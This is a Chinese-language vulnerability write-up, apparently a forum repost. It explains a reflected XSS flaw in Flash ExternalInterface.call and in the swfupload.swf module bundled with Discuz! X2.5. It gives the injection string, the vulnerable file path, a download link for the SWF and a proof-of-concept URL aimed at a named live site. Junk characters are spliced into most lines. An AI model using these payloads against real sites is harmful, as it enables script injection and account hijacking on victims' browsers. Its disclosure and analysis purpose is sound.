上回我们说. [# Q7 _- x2 l& t
" C* E3 \. M5 _% |2 X& H( m2 j
flash.external.ExternalInterface.call($methodName, $parameter)
- Z b2 ~8 _; e. X" K在浏览器中执行的是
, _2 I1 ]+ p, K6 [$ G+ p' e6 i# Y$ ?2 R z8 w6 i5 _' R, w# V
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
. `6 V' ~, ? }: |! p* Y- g; }对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如4 l' }9 Z1 x9 `" Y$ L
5 G- C( ~* x) l5 O, }. F ?
flash.external.ExternalInterface.call("object."+$methodName, $parameter)3 J! v. M+ r' I3 C" |+ H
$methodName = a())}catch(e){alert(/xss/)}//
4 X! f, b3 ]2 w2 ?, X+ w* K& r结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。$ W. J% p5 c& Q; p9 m
# `4 d$ D+ e/ f' stry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }+ W* _& z1 j! k. T2 @
. _) _5 p; d1 w( E5 [
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )% Y+ o+ e4 P4 D- f7 s( k
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。5 K1 t7 a- o) S" R. q1 @! P) `
* I' E* ? y% I" J/ d" ?. ?% {/ S0 O. G' p1 O
$ j. D8 A4 S \
漏洞文件:upload\static\image\common\swfupload.swf$ j) t4 k% _, p; ]* ]( A
) B) \5 w* W* Z
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
4 V- ~8 S2 s4 V* h
. ^1 C4 h: S: t: m% D
6 L1 J7 z3 ?$ ~漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
4 M/ i. B% h4 r3 K
: E3 G6 h2 ]8 Q
A' K2 E3 [6 ?- s9 O- F( g( Y |